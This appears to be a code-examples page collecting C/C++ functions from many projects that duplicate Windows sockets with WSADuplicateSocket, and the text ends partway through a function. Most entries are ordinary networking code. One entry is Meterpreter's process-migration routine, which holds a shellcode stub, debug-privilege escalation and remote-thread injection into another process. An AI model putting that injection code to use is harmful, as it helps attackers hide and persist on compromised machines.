/**
 * setup the notification-fd of a event-thread
 *
 * all event-threads listen on the same notification pipe
 *
 * @see chassis_event_handle()
 */ 
int chassis_event_threads_init_thread(chassis_event_threads_t *threads, chassis_event_thread_t *event_thread, chassis *chas) {
#ifdef WIN32
	LPWSAPROTOCOL_INFO lpProtocolInfo;
#endif
	event_thread->event_base = event_base_new();
	event_thread->chas = chas;

#ifdef WIN32
	lpProtocolInfo = g_malloc(sizeof(WSAPROTOCOL_INFO));
	if (SOCKET_ERROR == WSADuplicateSocket(threads->event_notify_fds[0], GetCurrentProcessId(), lpProtocolInfo)) {
		g_error("%s: Could not duplicate socket: %s (%d)", G_STRLOC, g_strerror(WSAGetLastError()), WSAGetLastError());
	}
	event_thread->notify_fd = WSASocket(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, lpProtocolInfo, 0, 0);
	if (INVALID_SOCKET == event_thread->notify_fd) {
		g_error("%s: Could not create duplicated socket: %s (%d)", G_STRLOC, g_strerror(WSAGetLastError()), WSAGetLastError());
	}
	g_free(lpProtocolInfo);
#else
	event_thread->notify_fd = dup(threads->event_notify_fds[0]);
#endif
#if 0
	evutil_make_socket_nonblocking(event_thread->notify_fd);
#endif

	event_set(&(event_thread->notify_fd_event), event_thread->notify_fd, EV_READ | EV_PERSIST, chassis_event_handle, event_thread);
	event_base_set(event_thread->event_base, &(event_thread->notify_fd_event));
	event_add(&(event_thread->notify_fd_event), NULL);

	return 0;
}
	Bool  HawkOSOperator::CopySocket(SOCKET hSock, UInt32 iProcessId, WSAPROTOCOL_INFO* pInfo)
	{
		if (hSock != INVALID_SOCKET && pInfo)
		{
			Int32 iRet = WSADuplicateSocket(hSock,iProcessId,pInfo);
			return iRet == 0;
		}
		return false;
	}
Beispiel #3
0
KRB5_LIB_FUNCTION krb5_storage * KRB5_LIB_CALL
krb5_storage_from_socket(krb5_socket_t sock_in)
{
    krb5_storage *sp;
    int saved_errno;
    krb5_socket_t sock;

#ifdef _WIN32
    WSAPROTOCOL_INFO info;

    if (WSADuplicateSocket(sock_in, GetCurrentProcessId(), &info) == 0)
    {

	sock = WSASocket( FROM_PROTOCOL_INFO,
			  FROM_PROTOCOL_INFO,
			  FROM_PROTOCOL_INFO,
			  &info, 0, 0);
    }
#else
    sock = dup(sock_in);
#endif

    if (sock == rk_INVALID_SOCKET)
	return NULL;

    errno = ENOMEM;
    sp = malloc(sizeof(krb5_storage));
    if (sp == NULL) {
	saved_errno = errno;
	rk_closesocket(sock);
	errno = saved_errno;
	return NULL;
    }

    errno = ENOMEM;
    sp->data = malloc(sizeof(socket_storage));
    if (sp->data == NULL) {
	saved_errno = errno;
	rk_closesocket(sock);
	free(sp);
	errno = saved_errno;
	return NULL;
    }
    sp->flags = 0;
    sp->eof_code = HEIM_ERR_EOF;
    SOCK(sp) = sock;
    sp->fetch = socket_fetch;
    sp->store = socket_store;
    sp->seek = socket_seek;
    sp->trunc = socket_trunc;
    sp->fsync = socket_sync;
    sp->free = socket_free;
    sp->max_alloc = UINT_MAX/8;
    return sp;
}
Beispiel #4
0
static int
make_wsaprotocol_info(pid_t process, rb_fde_t *F, WSAPROTOCOL_INFO * inf)
{
	WSAPROTOCOL_INFO info;
	if(!WSADuplicateSocket((SOCKET) rb_get_fd(F), process, &info))
	{
		memcpy(inf, &info, sizeof(WSAPROTOCOL_INFO));
		return 1;
	}
	return 0;
}
Beispiel #5
0
static JSVAL net_duplicateSocket(JSARGS args) {
	HandleScope			scope;
	BOOL				ret = 0;
	WSAPROTOCOL_INFO	*protInfo = new WSAPROTOCOL_INFO[1];

    Local<External>wrap = Local<External>::Cast(args[0]);
	int sock_client = args[1]->IntegerValue();
    PROCESS_INFORMATION	*piProc = (PROCESS_INFORMATION *) wrap->Value();
printf("Duplicate socket\r\n");
	/* I duplicate the socket */
	ret = WSADuplicateSocket(sock_client, piProc->dwProcessId, protInfo);

	return scope.Close(External::New(protInfo));
}
Beispiel #6
0
void create_crt_fd(fd_set *os_set, fd_set *crt_set)
{
  int i;
  crt_set->fd_count = os_set->fd_count;
  for (i = 0; i < os_set->fd_count; i++) {
    WSAPROTOCOL_INFO wsa_pi;
    // dupicate the SOCKET
    int r = WSADuplicateSocket(os_set->fd_array[i], GetCurrentProcessId(), &wsa_pi);
    SOCKET s = WSASocket(wsa_pi.iAddressFamily, wsa_pi.iSocketType, wsa_pi.iProtocol, &wsa_pi, 0, 0);
    // create the CRT fd so ruby can get back to the SOCKET
    int fd = _open_osfhandle(s, O_RDWR|O_BINARY);
    os_set->fd_array[i] = s;
    crt_set->fd_array[i] = fd;
  }
}
Beispiel #7
0
static VALUE rb_mysql_client_socket(VALUE self) {
    GET_CLIENT(self);
    REQUIRE_OPEN_DB(wrapper);
    int fd_set_fd = wrapper->client->net.fd;
#ifdef _WIN32
    WSAPROTOCOL_INFO wsa_pi;
    // dupicate the SOCKET from libmysql
    int r = WSADuplicateSocket(wrapper->client->net.fd, GetCurrentProcessId(), &wsa_pi);
    SOCKET s = WSASocket(wsa_pi.iAddressFamily, wsa_pi.iSocketType, wsa_pi.iProtocol, &wsa_pi, 0, 0);
    // create the CRT fd so ruby can get back to the SOCKET
    fd_set_fd = _open_osfhandle(s, O_RDWR|O_BINARY);
    return INT2NUM(fd_set_fd);
#else
    return INT2NUM(fd_set_fd);
#endif
}
Beispiel #8
0
rktio_fd_t *rktio_socket_dup(rktio_t *rktio, rktio_fd_t *rfd)
{
#ifdef RKTIO_SYSTEM_UNIX
  return rktio_dup(rktio, rfd);
#endif
#ifdef RKTIO_SYSTEM_WINDOWS
  rktio_socket_t s = rktio_fd_socket(rktio, rfd);
  rktio_socket_t nsocket;
  intptr_t rc;
  WSAPROTOCOL_INFO protocolInfo;
  rc = WSADuplicateSocket(s, GetCurrentProcessId(), &protocolInfo);
  if (rc) {
    get_socket_error();
    return NULL;
  }
  nsocket = WSASocket(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, &protocolInfo, 0, WSA_FLAG_OVERLAPPED);
  if (nsocket == INVALID_SOCKET) {
    get_socket_error();
    return NULL;
  }
  return rktio_system_fd(rktio, nsocket, rktio_fd_modes(rktio, rfd) | RKTIO_OPEN_OWN);
#endif
}
DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
{
	MigrationStubContext context;
	TOKEN_PRIVILEGES privs;
	HANDLE token = NULL;
	Packet *response = packet_create_response(packet);
	HANDLE process = NULL;
	HANDLE thread = NULL;
	HANDLE event = NULL;
	LPVOID dataBase;
	LPVOID codeBase;
	DWORD threadId;
	DWORD result = ERROR_SUCCESS;
	DWORD pid;
	PUCHAR payload;

	// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
	BYTE stub[] =
		"\x8B\x74\x24\x04"         //  mov esi,[esp+0x4]         ; ESI = MigrationStubContext *
		"\x89\xE5"                 //  mov ebp,esp               ; create stack frame
		"\x81\xEC\x00\x40\x00\x00" //  sub esp, 0x4000           ; alloc space on stack
		"\x8D\x4E\x20"             //  lea ecx,[esi+0x20]        ; ECX = MigrationStubContext->ws2_32
		"\x51"                     //  push ecx                  ; push "ws2_32"
		"\xFF\x16"                 //  call near [esi]           ; call loadLibrary
		"\x54"                     //  push esp                  ; push stack address
		"\x6A\x02"                 //  push byte +0x2            ; push 2
		"\xFF\x56\x0C"             //  call near [esi+0xC]       ; call wsaStartup
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x8D\x46\x28"             //  lea eax,[esi+0x28]        ; EAX = MigrationStubContext->info
		"\x50"                     //  push eax                  ; push our duplicated socket
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x6A\x02"                 //  push byte +0x2            ; push 2
		"\x6A\x01"                 //  push byte +0x1            ; push 1
		"\xFF\x56\x10"             //  call near [esi+0x10]      ; call wsaSocket
		"\x97"                     //  xchg eax,edi              ; edi now = our duplicated socket
		"\xFF\x76\x1C"             //  push dword [esi+0x1C]     ; push our event
		"\xFF\x56\x18"             //  call near [esi+0x18]      ; call setevent
		"\xFF\x76\x04"             //  push dword [esi+0x04]     ; push the address of the payloadBase
		"\xC3";                    //  ret                       ; return into the payload

	// Get the process identifier to inject into
	pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

	// Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer...
	context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);

	// Receive the actual migration payload (metsrv.dll + loader)
	payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

	// Try to enable the debug privilege so that we can migrate into system
	// services if we're administrator.
	if (OpenProcessToken(
			GetCurrentProcess(),
			TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
			&token))
	{
		privs.PrivilegeCount           = 1;
		privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
				&privs.Privileges[0].Luid);
	
		AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL);

		CloseHandle(token);
	}

	do
	{
		// Open the process so that we can into it
		if (!(process = OpenProcess(
				PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | 
				PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
		{
			result = GetLastError();
			break;
		}

		// If the socket duplication fails...
		if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR)
		{
			result = WSAGetLastError();
			break;
		}

		// Create a notification event that we'll use to know when
		// it's safe to exit (once the socket has been referenced in
		// the other process)
		if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL)))
		{
			result = GetLastError();
			break;
		}

		// Duplicate the event handle into the target process
		if (!DuplicateHandle(GetCurrentProcess(), event,
				process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			result = GetLastError();
			break;
		}

		// Initialize the migration context
		context.loadLibrary    = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");
		context.wsaStartup     = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup");
		context.wsaSocket      = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA");
		context.recv           = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv");
		context.setevent       = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent");

		strcpy(context.ws2_32, "ws2_32");

		// Allocate storage for the stub and context
		if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
		{
			result = GetLastError();
			break;
		}

		// Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload...
		if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
		{
			result = GetLastError();
			break;
		}

		// Initialize the data and code base in the target process
		codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext);

		if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL))
		{
			result = GetLastError();
			break;
		}

		if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL))
		{
			result = GetLastError();
			break;
		}

		if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
		{
			result = GetLastError();
			break;
		}

		// Send a successful response to let them know that we've pretty much
		// successfully migrated and are reaching the point of no return
		packet_transmit_response(result, remote, response);
		
		// XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket.
		// Shut down our SSL session
		// ssl_close_notify(&remote->ssl);
		// ssl_free(&remote->ssl);


		response = NULL;

		// Create the thread in the remote process
		if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
		{
			result = GetLastError();
			ExitThread(result);
		}

		// Wait at most 5 seconds for the event to be set letting us know that
		// it's finished
		if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0)
		{
			result = GetLastError();
			ExitThread(result);
		}
		

		// Exit the current process now that we've migrated to another one
		dprintf("Shutting down the Meterpreter thread...");
		ExitThread(0);

	} while (0);

	// If we failed and have not sent the response, do so now
	if (result != ERROR_SUCCESS && response)
		packet_transmit_response(result, remote, response);

	// Cleanup
	if (process)
		CloseHandle(process);
	if (thread)
		CloseHandle(thread);
	if (event)
		CloseHandle(event);

	return ERROR_SUCCESS;
}
Beispiel #10
0
static VALUE rb_mysql_client_query(int argc, VALUE * argv, VALUE self) {
    struct nogvl_send_query_args args;
    fd_set fdset;
    int fd, retval;
    int async = 0;
    VALUE opts, defaults, read_timeout;
#ifdef HAVE_RUBY_ENCODING_H
    rb_encoding *conn_enc;
#endif
    struct timeval tv;
    struct timeval* tvp;
    long int sec;
    VALUE result;
    GET_CLIENT(self);

    REQUIRE_OPEN_DB(wrapper);
    args.mysql = wrapper->client;

    // see if this connection is still waiting on a result from a previous query
    if (wrapper->active == 0) {
        // mark this connection active
        wrapper->active = 1;
    } else {
        rb_raise(cMysql2Error, "This connection is still waiting for a result, try again once you have the result");
    }

    defaults = rb_iv_get(self, "@query_options");
    if (rb_scan_args(argc, argv, "11", &args.sql, &opts) == 2) {
        opts = rb_funcall(defaults, intern_merge, 1, opts);
        rb_iv_set(self, "@query_options", opts);

        if (rb_hash_aref(opts, sym_async) == Qtrue) {
            async = 1;
        }
    } else {
        opts = defaults;
    }

    Check_Type(args.sql, T_STRING);
#ifdef HAVE_RUBY_ENCODING_H
    conn_enc = rb_to_encoding(wrapper->encoding);
    // ensure the string is in the encoding the connection is expecting
    args.sql = rb_str_export_to_enc(args.sql, conn_enc);
#endif

    if (rb_thread_blocking_region(nogvl_send_query, &args, RUBY_UBF_IO, 0) == Qfalse) {
        // an error occurred, we're not active anymore
        MARK_CONN_INACTIVE(self);
        return rb_raise_mysql2_error(wrapper);
    }

    read_timeout = rb_iv_get(self, "@read_timeout");

    tvp = NULL;
    if (!NIL_P(read_timeout)) {
        Check_Type(read_timeout, T_FIXNUM);
        tvp = &tv;
        sec = FIX2INT(read_timeout);
        // TODO: support partial seconds?
        // also, this check is here for sanity, we also check up in Ruby
        if (sec >= 0) {
            tvp->tv_sec = sec;
        } else {
            rb_raise(cMysql2Error, "read_timeout must be a positive integer, you passed %ld", sec);
        }
        tvp->tv_usec = 0;
    }

    if (!async) {
        // the below code is largely from do_mysql
        // http://github.com/datamapper/do
        fd = wrapper->client->net.fd;
        for(;;) {
            int fd_set_fd = fd;

#if defined(_WIN32) && !defined(HAVE_RB_THREAD_BLOCKING_REGION)
            WSAPROTOCOL_INFO wsa_pi;
            // dupicate the SOCKET from libmysql
            int r = WSADuplicateSocket(fd, GetCurrentProcessId(), &wsa_pi);
            SOCKET s = WSASocket(wsa_pi.iAddressFamily, wsa_pi.iSocketType, wsa_pi.iProtocol, &wsa_pi, 0, 0);
            // create the CRT fd so ruby can get back to the SOCKET
            fd_set_fd = _open_osfhandle(s, O_RDWR|O_BINARY);
#endif

            FD_ZERO(&fdset);
            FD_SET(fd_set_fd, &fdset);

            retval = rb_thread_select(fd_set_fd + 1, &fdset, NULL, NULL, tvp);

#if defined(_WIN32) && !defined(HAVE_RB_THREAD_BLOCKING_REGION)
            // cleanup the CRT fd
            _close(fd_set_fd);
            // cleanup the duplicated SOCKET
            closesocket(s);
#endif

            if (retval == 0) {
                rb_raise(cMysql2Error, "Timeout waiting for a response from the last query. (waited %d seconds)", FIX2INT(read_timeout));
            }

            if (retval < 0) {
                rb_sys_fail(0);
            }

            if (retval > 0) {
                break;
            }
        }

        result = rb_mysql_client_async_result(self);

        return result;
    } else {
        return Qnil;
    }
}
// The server and client have to rely on
// certain interprocess communication schemes
// to exchange the WSAPROTOCOL_INFO needed for
// duplicating the socket.  In this sample,
// we use momory mapped files.
BOOL DispatchChild(SOCKET ClientSock, char *pszChildProcName)
{
    char szChildComandLineBuf[MAX_PATH];
    char szFileMappingObj[MAX_PATH];
    BOOL bResult = TRUE;
    STARTUPINFO siParent;
    PROCESS_INFORMATION piChild;
    char szParentEventName[MAX_PATH];
    char szChildEventName[MAX_PATH];

    ZeroMemory(&siParent, sizeof(siParent));
    siParent.cb = sizeof(siParent);
    siParent.dwFlags = STARTF_USECOUNTCHARS;
    siParent.dwXCountChars = 10 * MAX_PATH;
    siParent.dwYCountChars = MAX_PATH;

    // Compose a name for the memory mappled file.
    sprintf_s(szFileMappingObj,
              MAX_PATH,
              "%s%i",
              FILE_MAPPING_BASE_NAME,
              nChildProcCount++);

    sprintf_s(szParentEventName, MAX_PATH,"%s%s", szFileMappingObj, PARENT);
    sprintf_s(szChildEventName, MAX_PATH,"%s%s", szFileMappingObj, CHILD);

    // Create an event to signal the child
    // that the protocol info is set
    if ((ghParentFileMappingEvent = CreateEvent(NULL, TRUE, FALSE, szParentEventName)) == NULL)
    {
        fprintf(stderr, "\nCreateEvent() failed: %d\n", GetLastError());
        return FALSE;
    }

    // Create an event to for the child to signal the
    // parent that the protocol info can be released
    if ((ghChildFileMappingEvent = CreateEvent(NULL, TRUE, FALSE, szChildEventName)) == NULL)
    {
        fprintf(stderr, "\nCreateEvent() failed: %d\n", GetLastError());
        CloseHandle(ghParentFileMappingEvent);
        ghParentFileMappingEvent = NULL;
        return FALSE;
    }

    // Set up the child process command line options.
    // The memory mapped file name is passed in as
    // one of the options.
    sprintf_s(szChildComandLineBuf,
              MAX_PATH,
              "%s /c %s",
              pszChildProcName,
              szFileMappingObj);

    if (CreateProcess(NULL,
                szChildComandLineBuf,
                NULL,
                NULL,
                FALSE,
                CREATE_NEW_CONSOLE,
                NULL,
                NULL,
                &siParent,
                &piChild)) 
    {
        WSAPROTOCOL_INFO ProtocolInfo;
        int nError;
        LPVOID lpView;
        int nStructLen = sizeof(WSAPROTOCOL_INFO);

        // Get the protocol information
        // to be used to duplicate the socket
        if (WSADuplicateSocket(ClientSock,
                    piChild.dwProcessId,
                    &ProtocolInfo) == SOCKET_ERROR)
        {
            fprintf(stderr, "WSADuplicateSocket(): failed. Error = %d\n", WSAGetLastError());	
            DoCleanup();
            exit(1);
        }

        // Set the protocol information in a
        // memory mapped file for the child to use
        ghMMFileMap = CreateFileMapping(INVALID_HANDLE_VALUE,
                NULL,
                PAGE_READWRITE,
                0,
                nStructLen,
                szFileMappingObj);

        if (ghMMFileMap != NULL)
        {
            if ((nError = GetLastError()) == ERROR_ALREADY_EXISTS)
                fprintf(stderr, "CreateFileMapping(): mappping file already exists\n");
            else
            {
                lpView = MapViewOfFile(ghMMFileMap,
                        FILE_MAP_READ | FILE_MAP_WRITE,
                        0, 0, 0);

                if (lpView != NULL)
                {
                    memcpy(lpView, &ProtocolInfo, nStructLen);
                    UnmapViewOfFile(lpView);

                    // Signal the child the protocol infomation is set
                    SetEvent(ghParentFileMappingEvent);
                    // Wait the child to signal that the protocol
                    // infomation can be released now
                    if (WaitForSingleObject(ghChildFileMappingEvent, 2000) == WAIT_OBJECT_0)
                    {
                        fprintf(stderr, "WaitForSingleObject() failed: %d\n", GetLastError());
                        DoCleanup();
                        exit(1);
                    }
                }
                else
                {
                    fprintf(stderr, "MapViewOfFile() failed: %d\n", GetLastError());
                    bResult = FALSE;
                }
            }

            CloseHandle(ghMMFileMap);
            ghMMFileMap = NULL;
        }
        else
        {
            fprintf(stderr, "CreateFileMapping() failed: %d\n", GetLastError());
            bResult = FALSE;
        }

        CloseHandle(piChild.hThread);
        CloseHandle(piChild.hProcess);
    }
    else
    {
        printf("\nCreate child process failed!!!\n");
        bResult = FALSE;
    }

    if (ghParentFileMappingEvent != NULL) 
    {
        CloseHandle(ghParentFileMappingEvent);
        ghParentFileMappingEvent = NULL;
    }

    if (ghChildFileMappingEvent != NULL) 
    {
        CloseHandle(ghChildFileMappingEvent);
        ghChildFileMappingEvent = NULL;
    }

    return bResult;
}
Beispiel #12
0
/// Do 'execute' instruction.
///
/// \param sCommand_line    fully command line, after modify
///
/// Return AGENT_RET_SUCCESS if succeed, or AGENT_RET_FAIL if fail
static MBA_AGENT_RETURN execute_cmd(CHAR *sCmdline) {
    // Child  : hOutputWrite, hInputRead, hErrorWrite
    // Parent : hOutputRead, hInputWrite
    HANDLE hOutputRead, hOutputWrite;
    HANDLE hInputRead, hInputWrite;
    HANDLE hErrorWrite;
    
    // Thread handler
    HANDLE hThread;
    DWORD dTid;
    
    DWORD dEndSize = 0;

    WSAPROTOCOL_INFO protoInfo;
    
    SECURITY_ATTRIBUTES pipeAttr;

    // Set up the security attributes struct.
    pipeAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    pipeAttr.lpSecurityDescriptor = NULL;
    pipeAttr.bInheritHandle = TRUE;

    // Create the child output pipe.
    if (!CreatePipe(&hOutputRead, &hOutputWrite, &pipeAttr, 0)) {
        write_agent_log("execute_cmd - CreatePipe", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }

    // Create a duplicate of the output write handle for the std error write handle.
    // This is necessary in case the child application closes one of its std output handles.
    if ( !DuplicateHandle(
            GetCurrentProcess(), hOutputWrite,
            GetCurrentProcess(), &hErrorWrite,
            0, TRUE, DUPLICATE_SAME_ACCESS) ) {
                write_agent_log("execute_cmd - DuplicateHandle : hErrorWrite -> hOutputWrite", TRUE);
                send_ecm_msg( FALSE );
                return AGENT_RET_FAIL;
            }
        

    // Create the child input pipe.
    if ( !CreatePipe( &hInputRead, &hInputWrite, &pipeAttr,0) ){
        write_agent_log("execute_cmd - CreatePipe", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }

    // Ensure the handle for reading from child stdout pipe is not inherited
    if ( !SetHandleInformation( hOutputRead, HANDLE_FLAG_INHERIT, 0) ) {
        write_agent_log("execute_cmd - SetHandleInformation : Child read", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }

    // Ensure the handle for writing to child stdin pipe is not inherited
    if ( !SetHandleInformation( hInputWrite, HANDLE_FLAG_INHERIT, 0) ) {
        write_agent_log("execute_cmd - SetHandleInformation : Child write", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }
        
    // Sets up STARTUPINFO structure, and launches redirected child.
    if ( prep_and_launch_redirected_child(sCmdline, hOutputWrite, hInputRead, hErrorWrite) == 0 ) {
        write_agent_log("execute_cmd - prep_and_launch_redirected_child", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }

    // Close pipe handles (do not continue to modify in the parent).
    if (!CloseHandle(hOutputWrite)) {
        write_agent_log("execute_cmd - CloseHandle : Child Write", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }
    if (!CloseHandle(hInputRead)) {
        write_agent_log("execute_cmd - CloseHandle : Child Read", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }
    if (!CloseHandle(hErrorWrite)) {
        write_agent_log("execute_cmd - CloseHandle : Child Error", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }

    // Duplicate ClientSocket for thread
    WSADuplicateSocket( g_sClientSocket, GetCurrentProcessId(), &protoInfo );
    g_sClientDupSocket = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, &protoInfo, 0, 0 );
    if( g_sClientDupSocket == INVALID_SOCKET ) {
        write_agent_log("execute_cmd - WSASocket : Dup ClientSocket", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }

    // Launch the thread that gets the input and sends it to the child.
    hThread = CreateThread(
        NULL,                       // a pointer to a SECURITY_ATTRIBUTES structure
        0,                          // the initial size of the stack, in bytes
        get_and_send_input_thread,  // a pointer to the application-defined function to be executed by the thread
        (LPVOID)hInputWrite,        // a pointer to a variable to be passed to the thread.
        0,                          // the flags that control the creation of the thread
        &dTid);                      // a pointer to a variable that receives the thread identifier.
                                    //      If this parameter is NULL, the thread identifier is not returned.
    if (hThread == NULL) {
        write_agent_log("execute_cmd - CreateThread : Write", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }

    // Read the child's output
    read_and_handle_output( hOutputRead );
    // Redirection is complete 

    // Tell the thread to exit and wait for thread to die.
    closesocket( g_sClientDupSocket );
    
    // send out the zero-sized message to terminate agent 'exec' action
    ac_write( (CONST CHAR*)&dEndSize, sizeof(dEndSize) );

    // Wait Thread which keep receiving & forwarding commands
    if ( TerminateThread(hThread, 0) == 0) {
        write_agent_log("TerminateThread", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }
    // Close input and output handle
    if (!CloseHandle(hOutputRead)) {
        write_agent_log("execute_cmd - CloseHandle : hOutputRead", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }
    if (!CloseHandle(hInputWrite)) {
        write_agent_log("execute_cmd - CloseHandle : hInputWrite", TRUE);
        send_ecm_msg( FALSE );
        return AGENT_RET_FAIL;
    }
    send_ecm_msg( TRUE );
	
    return AGENT_RET_SUCCESS;
}
Beispiel #13
0
/*
 * Create a socket connected with a server.
 *
 * `host' is a host name or an IP address of the server.  `port' is
 * destination port number of the TCP connection.  `family' is protocol
 * family: PF_INET, PF_INET6 or PF_UNSPEC.
 *
 * Upon success, file descriptor of the socket is returned.
 * Otherwise -1 is returned.
 *
 * If there has been a socket entry in `ebnet_socket_entries' which is
 * connected with the server, this function simply duplicates the socket.
 */
int
ebnet_connect_socket(const char *host, int port, int family)
{
    char ipv6_address[INET6_ADDRSTRLEN + IF_NAMESIZE];
    char ipv4_address[INET_ADDRSTRLEN];
    EBNet_Socket_Entry *multiplex_entry = NULL;
    EBNet_Socket_Entry *new_entry = NULL;
    int new_file = -1;

    /*
     * Get IP addresses of `host'.
     */
    *ipv6_address = '\0';
    *ipv4_address = '\0';
    ebnet_get_addresses(host, ipv6_address, ipv4_address);

    switch (family) {
    case PF_UNSPEC:
	if (*ipv6_address == '\0' && *ipv4_address == '\0')
	    goto failed;
	break;

    case PF_INET6:
	if (*ipv6_address == '\0')
	    goto failed;
	break;

    case PF_INET:
	if (*ipv4_address == '\0')
	    goto failed;
	break;
    }

    /*
     * Search `ebnet_socket_entries' for a connection entry with
     * the server.
     */
    multiplex_entry = ebnet_find_multiplex_entry(ipv6_address, ipv4_address,
	port, family);

    /*
     * Create a socket entry.
     */
    new_entry = (EBNet_Socket_Entry *)malloc(sizeof(EBNet_Socket_Entry));
    if (new_entry == NULL)
	goto failed;

    new_entry->address[0]      = '\0';
    new_entry->port            = port;
    new_entry->file            = -1;
    new_entry->reference_count = 1;
    new_entry->reference_id    = -1;
    new_entry->lost_sync       = 0;
    new_entry->next            = NULL;
    new_entry->back            = NULL;
    new_entry->book_name[0]    = '\0';
    new_entry->file_path[0]    = '\0';
    new_entry->offset          = 0;
    new_entry->file_size       = 0;

    if (multiplex_entry != NULL) {
	/*
	 * There is an IPv6 or IPv4 socket with the server.
	 * Duplicate the socket entry.
	 */
#ifndef WINSOCK
	new_file = dup(multiplex_entry->file);
#else /* WINSOCK */
	{
	    WSAPROTOCOL_INFO info;

	    if (WSADuplicateSocket(multiplex_entry->file,
		GetCurrentProcessId(), &info) != 0)
		goto failed;
	    new_file = WSASocket(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO,
		FROM_PROTOCOL_INFO, &info, 0, 0);
	}
#endif /* WINSOCK */
	if (new_file < 0)
	    goto failed;

	strcpy(new_entry->address, multiplex_entry->address);
	new_entry->file = new_file;
	new_entry->reference_count = multiplex_entry->reference_count;
	new_entry->reference_id = multiplex_entry->reference_id;

    } else {
	/*
	 * There is no socket connected with the server.
	 * Establish a connection with the server.
	 */
	do {
	    if ((family == PF_INET6 || family == PF_UNSPEC)
		&& *ipv6_address != '\0') {
		new_file = ebnet_create_new_connection(ipv6_address, port);
		if (0 <= new_file) {
		    strcpy(new_entry->address, ipv6_address);
		    new_entry->file = new_file;
		    new_entry->reference_id = new_file;
		    break;
		}
	    }
	    if ((family == PF_INET || family == PF_UNSPEC)
		&& *ipv4_address != '\0') {
		new_file = ebnet_create_new_connection(ipv4_address, port);
		if (0 <= new_file) {
		    strcpy(new_entry->address, ipv4_address);
		    new_entry->file = new_file;
		    new_entry->reference_id = new_file;
		    break;
		}
	    }
	    goto failed;

	} while (0);

    }

    /*
     * Add the entry to `ebnet_socket_entries'.
     */
    ebnet_add_socket_entry(new_entry);

    /*
     * Say hello.
     */
    if (multiplex_entry == NULL && hello_hook != NULL) {
	if (hello_hook(new_file) < 0)
	    goto failed;
    }

    return new_file;

    /*
     * An error occurs...
     */
  failed:
    if (new_entry != NULL) {
	if (ebnet_find_socket_entry(new_file) != NULL)
	    ebnet_delete_socket_entry(new_entry);
	else
	    free(new_entry);
    }
    if (new_file >= 0)
	close(new_file);
    return -1;
}
Beispiel #14
0
bool
SharedPortClient::PassSocket(Sock *sock_to_pass,char const *shared_port_id,char const *requested_by)
{
#ifndef HAVE_SHARED_PORT
	dprintf(D_ALWAYS,"SharedPortClient::PassSocket() not supported on this platform\n");
	return false;
#elif WIN32
	if( !SharedPortIdIsValid(shared_port_id) ) {
		dprintf(D_ALWAYS,
				"ERROR: SharedPortClient: refusing to connect to shared port"
				"%s, because specified id is illegal! (%s)\n",
				requested_by, shared_port_id );
		return false;
	}

	MyString pipe_name;
	MyString socket_dir;

	SharedPortEndpoint::paramDaemonSocketDir(pipe_name);
	pipe_name.sprintf_cat("%c%s",DIR_DELIM_CHAR,shared_port_id);

	MyString requested_by_buf;
	if( !requested_by ) {
		requested_by_buf.sprintf(
